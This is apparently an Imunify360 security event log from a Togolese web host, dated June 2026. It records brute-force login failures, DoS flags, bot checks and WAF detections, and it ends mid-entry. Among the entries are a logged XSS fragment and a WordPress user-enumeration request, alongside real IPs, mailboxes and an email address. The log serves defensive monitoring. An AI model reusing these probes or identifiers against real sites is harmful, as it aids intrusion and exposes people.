205.169.39.4 - - [27/Jun/2026:03:47:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000233&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782532077 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 35.173.182.44
country_id: 6252001
description:
[2026-06-27 03:48:53 +0000] info [cpaneld] 35.173.182.44 - benoit21112@gmail.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 165.245.219.182
country_id: 2921044
description:
Denial of Service (DoS) attack was discovered from 165.245.219.182: 80 connections per 30 seconds to 443 port.


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.224.5.136
country_id: 6252001
domain: www.api.butodra.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.85 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 74.7.243.219
country_id: 6252001
domain: lepoint-actu.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.21||T:APACHE||MV:/index.php/wp-json/wp/v2/users/4||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.56
country_id: 6252001
description:
205.169.39.56 - - [27/Jun/2026:03:50:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13081498&pdata=http%253A%252F%252Fboutique.cafe.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782532211 HTTP/1.1" 302 0 boutique.cafe.tg "http://boutique.cafe.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.56


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 81.70.1.188
country_id: 1814991
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/inclusion-economique-un-forum-dedie-aux-jeunes-femmes-et-personnes-handicapee-de-kara/<script async src=||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jun 27 03:52:30 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-27 04:03:35 +0000] info [cpaneld] 188.166.248.160 - abttogo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 114.125.160.103
country_id: 1643084
description:
Denial of Service (DoS) attack was discovered from 114.125.160.103: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.198.218
country_id: 1880251
description:
43.172.198.218 - - [27/Jun/2026:04:08:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10316187&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Fformat%253Dxml%2526url%253Dhttps%25253A%25252F%25252F24heureinfo.tg%25252Fa-la-une%25252Ftogo-kpome-agome-vent-debout-contre-expropriation-de-leurs-terres-adetikope-pia%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782533326 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/oembed/1.0/embed?format=xml&url=https%3A%2F%2F24heureinfo.tg%2Fa-la-une%2Ftogo-kpome-agome-vent-debout-contre-expropriation-de-leurs-terres-adetikope-pia%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.198.218


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.224.5.136
country_id: 6252001
domain: www.bierehofbrau.snb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:10:24 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:10:26 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (Tpxg2Xf85) [207.244.243.217]:49580: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 27 04:10:27 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:11:24 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:11:26 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (y5JOLt) [207.244.243.217]:52309: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.146.169.32
country_id: 3175395
description:
93.146.169.32 - - [27/Jun/2026:04:11:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6802332&pdata=https%253A%252F%252Fcfpj.tg%252Fvivu-220186gitems%252Feti.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782533494 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/vivu-220186gitems/eti.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.146.169.32


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:12:31 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:12:33 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (FRcwbljd) [207.244.243.217]:65037: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:13:19 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:13:21 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (RIX3eu) [207.244.243.217]:52139: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:13:43 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (M8bRjr) [207.244.243.217]:64933: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.195.135.127
country_id: 6252001
domain: www.brasseriesnb.snb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/132.0.0.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:14:16 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:14:18 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (jWmArja) [207.244.243.217]:60391: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:15:21 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:15:23 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (mubaFIR) [207.244.243.217]:53486: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:16:27 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:16:29 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (oLIn9V) [207.244.243.217]:56183: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:17:34 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (uAfkHNjNgk) [207.244.243.217]:56075: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:17:32 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:18:16 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (m4pZWzR) [207.244.243.217]:57776: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:18:37 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (eE0vPM3D) [207.244.243.217]:50650: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:18:14 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:19:16 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:19:18 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (muzqMfKtJ) [207.244.243.217]:61333: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.189.233.12
country_id: 1643084
description:
192.189.233.12 - - [27/Jun/2026:04:19:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6647185&pdata=https%253A%252F%252Fucao-uut.tg%252Fadmissions%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782533970 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/admissions/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.189.233.12


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:20:27 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:20:29 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (e1aIQcE) [207.244.243.217]:50009: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:21:31 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:21:33 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (e0RdJR0r) [207.244.243.217]:59692: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.181.197
country_id: 1880251
description:
43.173.181.197 - - [27/Jun/2026:04:21:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7302601&pdata=http%253A%252F%252Fdagl.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782534071 HTTP/1.1" 404 561 dagl.tg "http://dagl.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.181.197


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:22:14 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:22:16 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (J9RVeQRwt) [207.244.243.217]:53465: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.228.251.47
country_id: 2658434
description:
2026-06-27 04:22:28 dovecot_plain authenticator failed for H=(smtp.arse.tg) [83.228.251.47]:57424: 535 Incorrect authentication data (set_id=arse@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.228.251.47
country_id: 2658434
description:
Jun 27 04:22:26 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.228.251.47 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:23:18 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (TuuvDJl) [207.244.243.217]:65394: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:23:39 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (oAlo9O) [207.244.243.217]:52376: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.114.59.249
country_id: 1269750
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:103.114.59.249||TA:103.114.59.249||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:23:16 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:24:19 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (nLlvzHQ1m) [207.244.243.217]:60482: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:24:17 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:25:20 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (JW3SX33li0) [207.244.243.217]:57865: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:25:18 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:26:22 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (arT8BW) [207.244.243.217]:52155: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:26:20 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:27:24 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:27:26 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (snRsRqunGt) [207.244.243.217]:65219: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 111.41.248.190
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/210094696 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:28:29 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:28:31 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (n7PgZKCs) [207.244.243.217]:61621: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:28:50 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (5V98JD22) [207.244.243.217]:53190: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:29:27 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:29:29 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (hCwWmFe) [207.244.243.217]:63005: 535 Incorrect authentication data (set_id=ccit@ccit.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.27.66.167
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1155098744 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.244.243.217
country_id: 6252001
description:
2026-06-27 04:30:22 dovecot_login authenticator failed for H=vmi3351741.contaboserver.net (bY5ZFp) [207.244.243.217]:54418: 535 Incorrect authentication data (set_id=ccit)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 201.20.110.215
country_id: 3469034
description:
Denial of Service (DoS) attack was discovered from 201.20.110.215: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 201.20.117.67
country_id: 3469034
description:
Denial of Service (DoS) attack was discovered from 201.20.117.67: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.244.243.217
country_id: 6252001
description:
Jun 27 04:30:20 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.244.243.217 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.8
country_id: 6252001
description:
205.169.39.8 - - [27/Jun/2026:04:31:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10119274&pdata=http%253A%252F%252Fwebmail.cinema.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782534707 HTTP/1.1" 302 0 webmail.cinema.free.netmaster.tg "http://webmail.cinema.free.netmaster.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.8


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.156.58.6
country_id: 1562822
description:
103.156.58.6 - - [27/Jun/2026:04:32:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6659486&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdebut-des-inscriptions-a-luniversite-de-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782534748 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/debut-des-inscriptions-a-luniversite-de-lome/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.1768.1388 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.156.58.6


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.195.125.215
country_id: 6252001
domain: www.confortis.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.195.125.215
country_id: 6252001
domain: www.cloud-et-racks.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.119 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.112.17.52
country_id: 1814991
description:
2026-06-27 04:33:49 dovecot_plain authenticator failed for H=(xd7w4zcs9mu0xo5r2wmjyoo) [123.112.17.52]:44752: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 116.90.101.181
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/507257732 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-27 04:37:41 +0000] info [cpaneld] 188.166.248.160 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.172.67.38
country_id: 6252001
description:
[2026-06-27 04:40:09 +0000] info [cpaneld] 73.172.67.38 - togoint "GET /login/?login_only=1&user=togoint&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoint (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.128.115.151
country_id: 1814991
description:
Jun 27 04:39:38 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.128.115.151 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.132.86.8
country_id: 6252001
description:
[2026-06-27 04:39:54 +0000] info [cpaneld] 47.132.86.8 - togointerim "GET /login/?login_only=1&user=togointerim&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointerim (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.239.29.222
country_id: 6252001
description:
[2026-06-27 04:40:11 +0000] info [cpaneld] 136.239.29.222 - togoin "GET /login/?login_only=1&user=togoin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.113.53.109
country_id: 6252001
description:
[2026-06-27 04:39:50 +0000] info [cpaneld] 69.113.53.109 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.134.49.244
country_id: 6252001
description:
[2026-06-27 04:39:58 +0000] info [cpaneld] 68.134.49.244 - togointerimnet "GET /login/?login_only=1&user=togointerimnet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointerimnet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.50.112.54
country_id: 6252001
description:
[2026-06-27 04:40:02 +0000] info [cpaneld] 45.50.112.54 - togointeri "GET /login/?login_only=1&user=togointeri&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointeri (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.183.222.196
country_id: 6252001
description:
[2026-06-27 04:40:06 +0000] info [cpaneld] 71.183.222.196 - togointe "GET /login/?login_only=1&user=togointe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 151.241.119.105
country_id: 6252001
description:
[2026-06-27 04:40:17 +0000] info [cpaneld] 151.241.119.105 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.214.225.75
country_id: 6252001
description:
[2026-06-27 04:40:14 +0000] info [cpaneld] 47.214.225.75 - togoi "GET /login/?login_only=1&user=togoi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.99.249.217
country_id: 6252001
description:
